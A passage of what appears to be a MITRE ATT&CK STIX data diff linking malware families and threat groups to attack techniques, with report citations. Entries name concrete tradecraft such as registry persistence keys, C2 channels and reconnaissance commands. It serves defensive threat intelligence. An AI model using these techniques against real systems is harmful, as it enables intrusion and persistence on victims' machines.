"malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) can securely delete files, including deleting itself from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6f8cef32-d057-40f8-be52-62d86b1049e6", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "source_name": "Symantec Seaduke 2015", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) registers itself under a Registry Run key with the name \"USB Disk Security.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) can perform microphone recording.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.754Z", + "id": "relationship--cff7d7e5-a279-4499-9b03-0cb47ac6b25c", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.861Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.264Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) adds a shortcut file to the startup folder for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:42:09.419Z", + "id": "relationship--eaed4cbc-d5d1-4274-af09-62d98ae1afc7", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has used Tor relays for Command and Control servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.944Z", + "id": "relationship--0f97d56a-3484-47fb-a232-5a20121fa89c", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:21.950Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) sent victims a lure document with a warning that asked victims to \u201cenable content\u201d for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:26:43.168Z", + "id": "relationship--2552aaa5-2cd7-4940-a428-220412851242", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "modified": "2019-04-16T14:51:35.292Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "description": "[Calisto](https://attack.mitre.org/software/S0274) uses launchctl to enable screen sharing on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bb371ea5-33c4-42e7-bcb0-3374240da553", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used the net use command to get a listing on network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:33:07.504Z", + "id": "relationship--886942af-c1e9-49e9-af7e-98d1899f3000", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.330Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can delete files from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:43:19.404Z", + "id": "relationship--6e0796d1-4bba-4e18-85fd-8e0d86bf8b35", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.186Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can walk through directories and recursively search for strings in files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--75d124da-bb01-422f-bbf1-a472c841741b", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.988Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded and installed via an executed [Assess leadership areas of interest](https://attack.mitre.org/techniques/T1224) payload. [Cardinal RAT](https://attack.mitre.org/software/S0348) can also download and execute additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.531Z", + "id": "relationship--2e83c5c4-76f3-46a3-980f-0063069671cf", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.582Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can execute PowerShell scripts via DDE.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.982Z", + "id": "relationship--5ac271fa-d3a7-40a6-8862-3eb73331ae99", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.759Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can browse the file system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.646Z", + "id": "relationship--4990cf9a-9041-45c6-9d31-232ddb770341", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.646Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) sent spearphishing emails containing links to compromised websites where malware was downloaded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.381Z", + "id": "relationship--0d474ebe-5aff-4c13-92e6-afe04d6cefe0", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "description": "[Cannon](https://attack.mitre.org/software/S0351) adds the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:04.035Z", + "id": "relationship--fdc9c7e3-4467-4f57-af5b-156cf2f9d189", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.938Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has added persistence by registering the file name for the next stage malware under UserInitMprLogonScript.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:27:46.126Z", + "id": "relationship--f9283994-d216-4796-989d-a375eb4834a9", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.973Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Denis](https://attack.mitre.org/software/S0354) has several commands to search directories for files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.464Z", + "id": "relationship--9c3faa58-eb39-407a-8233-8f43f53aa777", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.656Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "source_name": "Cybereason Oceanlotus May 2017", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) can launch cmd.exe to execute commands on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ca3f0924-306a-409e-a1b6-135b781f3dbf", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "A variant of [Elise](https://attack.mitre.org/software/S0081) executes dir C:\\progra~1 when initially run.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.878Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.845Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Gazer](https://attack.mitre.org/software/S0168) uses custom encryption for C2 using 3DES and RSA.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ec30b3a9-69b4-4604-9def-db9e904df309", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use HTTP or DNS for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6bf4098c-7667-44df-bdaa-076b9099f851", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.883Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has used HTTP for C2, including sending error codes in Cookie headers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--00d1f959-5469-4a9c-b33d-93f315719a6c", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "description": "[iKitten](https://attack.mitre.org/software/S0278) prompts the user for their credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--31a72381-c672-404f-afd2-17bfb2aa3078", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[WinMM](https://attack.mitre.org/software/S0059) is usually configured with primary and backup domains for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--70a93fc8-83c0-4407-8224-ae447af1235a", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "modified": "2019-05-03T16:45:45.253Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses scripts to enumerate IP ranges on the victim network. [menuPass](https://attack.mitre.org/groups/G0045) has also issued the command net view /domain to a [PlugX](https://attack.mitre.org/software/S0013) implant to gather information about remote systems on the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--093f8796-b394-490b-8048-115f4ee32959", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Flame](https://attack.mitre.org/software/S0143) identifies security software such as antivirus through the Security module.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "modified": "2019-06-06T14:35:54.012Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Kaspersky Flame Functionality", + "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.", + "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[Elise](https://attack.mitre.org/software/S0081) performs timestomping of a CAB file it creates.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6deeb486-90c3-4279-8549-17c81ea2466b", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.890Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": 